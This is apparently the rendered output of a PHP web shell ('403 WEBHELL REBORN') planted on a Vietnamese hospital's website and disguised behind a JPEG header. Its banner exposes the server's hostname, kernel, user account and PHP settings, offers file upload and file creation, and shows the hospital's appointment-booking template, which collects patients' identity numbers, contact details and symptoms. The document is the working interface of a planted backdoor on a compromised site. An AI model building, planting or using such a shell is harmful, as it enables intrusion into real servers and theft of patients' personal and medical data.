ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache/2
System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User : benhviencoc7 ( 1008)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/benhviencoc7/public_html/templates/tech/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/benhviencoc7/public_html/////templates/tech/dat-lich-kham.html
<!-- BEGIN: dat-lich-kham -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<!-- Popper JS -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/validate.js/0.13.1/validate.min.js"></script>


	<div class="content">
    	
        <div class="maincon">
            <div class="left">
				
			
					
			</div>
			
			
			
<style type="text/css">

@media only screen and (max-width: 600px) {
.fixmodile {margin-left: 2px;}
}
@media only screen and (min-width: 1200px) {.fixmodile {margin-left: 8px;}}

.form-style-9{
	max-width: 650px;
	background: #FAFAFA;
	padding: 30px;
	margin: 50px auto;
	box-shadow: 1px 1px 25px rgba(0, 0, 0, 0.35);
	border-radius: 10px;
}
.form-style-9 ul{
	padding:0;
	margin:0;
	list-style:none;
}
.form-style-9 ul li{
	display: block;
	margin-bottom: 10px;
	min-height: 35px;
}
.form-style-9 ul li  .field-style{
	box-sizing: border-box; 
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box; 
	padding: 8px;
	outline: none;
	border: 1px solid #B0CFE0;
	-webkit-transition: all 0.30s ease-in-out;
	-moz-transition: all 0.30s ease-in-out;
	-ms-transition: all 0.30s ease-in-out;
	-o-transition: all 0.30s ease-in-out;

}.form-style-9 ul li  .field-style:focus{
	box-shadow: 0 0 5px #B0CFE0;
	border:1px solid #B0CFE0;
}
.form-style-9 ul li .field-split{
	width: 49%;
}
.form-style-9 ul li .field-full{
	width: 100%;
}
.form-style-9 ul li input.align-left{
	float:left;
}
.form-style-9 ul li input.align-right{
	float:right;
}
.form-style-9 ul li textarea{
	width: 100%;
	height: 100px;
}
.form-style-9 ul li input[type="button"], 
.form-style-9 ul li input[type="submit"] {
	-moz-box-shadow: inset 0px 1px 0px 0px #3985B1;
	-webkit-box-shadow: inset 0px 1px 0px 0px #3985B1;
	box-shadow: inset 0px 1px 0px 0px #3985B1;
	background-color: #216288;
	border: 1px solid #17445E;
	display: inline-block;
	cursor: pointer;
	color: #FFFFFF;
	padding: 8px 18px;
	text-decoration: none;
	font: 12px Arial, Helvetica, sans-serif;
}
.form-style-9 ul li input[type="button"]:hover, 
.form-style-9 ul li input[type="submit"]:hover {
	background: linear-gradient(to bottom, #2D77A2 5%, #337DA8 100%);
	background-color: #28739E;
}

.form-style-9 ul li button[type="button"], .form-style-9 ul li button[type="submit"] {
    -moz-box-shadow: inset 0px 1px 0px 0px #3985B1;
    -webkit-box-shadow: inset 0px 1px 0px 0px #3985B1;
    box-shadow: inset 0px 1px 0px 0px #3985B1;
    background-color: #216288;
    border: 1px solid #17445E;
    display: inline-block;
    cursor: pointer;
    color: #FFFFFF;
    padding: 8px 18px;
    text-decoration: none;
    font: 12px Arial, Helvetica, sans-serif;
}

</style>
<center>
<h1>ĐẶT HẸN KHÁM BỆNH
</h1></center>
<form class="form-style-9" action="{url}/lichhen.php" method="post">

<ul>
<li>
    <input type="text" name="hovaten" class="field-style field-split align-left" placeholder="Họ và tên" required/>
    <input type="text" name="namsinh" class="field-style field-split align-right" placeholder="Năm sinh" required/>

</li>
<li>
	<select class="field-style field-split align-left" aria-required="true" aria-invalid="false" name="gioitinh" required><option value="">Giới tính (*)</option><option value="Nam">Nam</option><option value="Nữ">Nữ</option></select>
	
    <input type="text" name="phone" class="field-style field-split align-right" placeholder="Số điện thoại" required/>
    
</li>
<li>
    <input type="text" name="diachi" class="field-style field-split align-left" placeholder="Địa chỉ"required />
    <input type="text" name="cccd" class="field-style field-split align-right" placeholder="CCCD" required/>

</li>
<li>
	<select class="field-style field-split align-left" aria-required="true" aria-invalid="false" name="loaidv" required><option value="">Loại dịch vụ (*)</option>

		<option value="Tư vấn từ xa">Tư vấn từ xa</option>
		<option value="Đăng ký lịch khám">Đăng ký lịch khám</option>
	</select>
	<select class="field-style field-split align-right fixmodile" aria-required="true" aria-invalid="false" name="lienlac" required><option value="">Có thể liên lạc qua (*)</option>
		<option value="Zalo">Zalo</option>
		<option value="Gọi điện">Gọi điện</option>
	</select>
    
    
</li>
<li>
	<select class="field-style field-split align-left" aria-required="true" aria-invalid="false" name="ngaykham" required><option value="">Ngày khám (*)</option>
		<option value="{this_day1}">Hôm nay ({this_day1})</option>
		<option value="{this_day2}">Ngày mai ({this_day2})</option>
		<option value="{this_day3}">Ngày kia ({this_day3})</option>
	</select>
	<select class="field-style field-split align-right fixmodile"  aria-required="true" aria-invalid="false" name="thoigiankham" required><option value="">Thời gian khám (*)</option>
		
		<option value="07:30">07:30</option>
		<option value="07:45">07:45</option>
		<option value="08:00">08:00</option>
		<option value="08:15">08:15</option>
		<option value="08:30">08:30</option>
		<option value="08:45">08:45</option>
		<option value="09:00">09:00</option>
		<option value="09:15">09:15</option>
		<option value="09:30">09:30</option>
		<option value="09:45">09:45</option>
		<option value="10:00">10:00</option>
		<option value="10:15">10:15</option>
		<option value="10:30">10:30</option>
		<option value="10:45">10:45</option>
		<option value="11:00">11:00</option>
		<option value="11:15">11:15</option>
		<option value="11:30">11:30</option>
		<option value="11:45">11:45</option>
		<option value="12:00">12:00</option>
		<option value="12:15">12:15</option>
		<option value="12:30">12:30</option>
		<option value="12:45">12:45</option>
		<option value="13:00">13:00</option>
		<option value="13:15">13:15</option>
		<option value="13:30">13:30</option>
		<option value="13:45">13:45</option>
		<option value="14:00">14:00</option>
		<option value="14:15">14:15</option>
		<option value="14:30">14:30</option>
		<option value="14:45">14:45</option>
		<option value="15:00">15:00</option>
		<option value="15:15">15:15</option>
		<option value="15:30">15:30</option>
		<option value="15:45">15:45</option>
		<option value="16:00">16:00</option>
		<option value="16:15">16:15</option>
		

	</select>
   
    
</li>


<li>
<textarea name="tinhtrangbenh" class="field-style" placeholder="Mô tả triệu chứng (*)..." required></textarea>
</li>

						<li><input  class="field-style field-split align-left" type="text" value="" name="captcha" id="captcha" placeholder="Nhập mã xác nhận" required/>
                                               <input class="field-style field-split align-right" style="width: 100px" id="captcha" src="{url}/data/captcha" type="image" name="captcha"></li>
												
<li>
<input type="hidden" value="send" name="guithongtin" />

<p class="progress-demo"><button type="submit" class="btn btn-success load1" data-style="expand-left"><span class="ladda-label">Cập nhật</span></button></p>
</li>
</ul>
		<script>
		(function () {
    validate.extend(validate.validators.datetime, {
        parse: function (value, options) {
            return +moment.utc(value);
        },
        format: function (value, options) {
            var format = options.dateOnly ? "YYYY-MM-DD" : "YYYY-MM-DD hh:mm:ss";
            return moment.utc(value).format(format);
        },
    });
    const constraints = {
        email: {
            presence: true,
            email: {
                message: 'Please enter valid email'
            },
        },
        password: {
            presence: true,
            length: {
                minimum: 8,
            },
        },
        "confirm-password": {
            presence: true,
            equality: {
                attribute: "password",
                message: "^The passwords does not match",
            },
        },
        name: {
            presence: {
                message: "Name is required",
                allowEmpty: false,
            },
            length: {
                minimum: 3,
                maximum: 20,
            },
            exclusion: {
                within: ["nickolas", "ellen"],
                message: "'%{value}' is not allowed"
            }
        },
        phone: {
            presence: true,
            length: {
                minimum: 10,
                maximum: 11,
            },
            format: {
                pattern: "[0-9]+",
                message: "can only contain a-z and 0-9",
            },
        },
        birthday: {
            presence: true,
            datetime: {
                dateOnly: true,
                earliest: moment.utc().subtract(20, 'years'),
                latest: moment.utc().subtract(18, 'years'),
                message: "^Your age must be over 18 and less than 20"
            }
        },
        size: {
            inclusion: {
                within: ["small", "medium", "large"],
                message: "^We're currently out of %{value}"
            }
        }
    }

    $('#form').submit((e) => {
        e.preventDefault()
        let errors = validate($('#form'), constraints) || {}
        $('#error-name').html(errors.name)
        $('#error-size').html(errors.size)
        $('#error-email').html(errors.email)
        $('#error-password').html(errors.password)
        $('#error-confirm-password').html(errors['confirm-password'])
        $('#error-phone').html(errors.phone)
        $('#error-birthday').html(errors.birthday)
    })
    $('#email').blur(() => {
        let error = validate.single($('#email').val(), constraints.email) || [''];
        $('#error-email').html(error[0])
    })

    $('#name').blur(() => {
        let error = validate.single($('#name').val(), constraints.name) || [''];
        console.log(error)
        $('#error-name').html(error[0])
    })

    $('#size').blur(() => {
        let error = validate.single($('#size').val(), constraints.size) || [''];
        console.log(error)
        $('#error-size').html(error[0])
    })
    $('#password').blur(() => {
        let error = validate.single($('#password').val(), constraints.password) || [''];
        $('#error-password').html(error[0])
    })
    $('#confirm-password').blur(() => {
        let constraintsConfirm = {
            confirmPassword: {
                presence: true,
                equality: {
                    attribute: "password",
                    message: "^The passwords does not match",
                },
            }
        }
        let confirmPassword = $('#confirm-password').val();
        let password = $('#password').val()
        let error = validate({confirmPassword, password}, constraintsConfirm) || {};
        console.log(error)
        $('#error-confirm-password').html(error.confirmPassword)
    })

    $('#phone').blur(() => {
        let error = validate.single($('#phone').val(), constraints.phone) || [''];
        $('#error-phone').html(error[0])
    })

    $('#birthday').change(() => {
        let error = validate.single($('#birthday').val(), constraints.birthday) || [''];
        $('#error-birthday').html(error[0])
    })
})();
		</script>
	<script src="https://benhviendkkvcampha.vn/adminvn/templates/js/spin.min.js"></script>
	<script src="https://benhviendkkvcampha.vn/adminvn/templates/js/ladda.min.js"></script>
		<script>
			// Bind normal buttons
			Ladda.bind( 'div:not(.progress-demo) button', { timeout: 9000 } );

			// Bind progress buttons and simulate loading progress
			Ladda.bind( '.progress-demo button', {
				callback: function( instance ) {
					var progress = 0;
					var interval = setInterval( function() {
						progress = Math.min( progress + Math.random() * 0.1, 1 );
						instance.setProgress( progress );

						if( progress === 1 ) {
							instance.stop();
							clearInterval( interval );
						}
					}, 9000 );
				}
			} );
		</script>


</form>


<!-- END: dat-lich-kham -->

Anon7 - 2021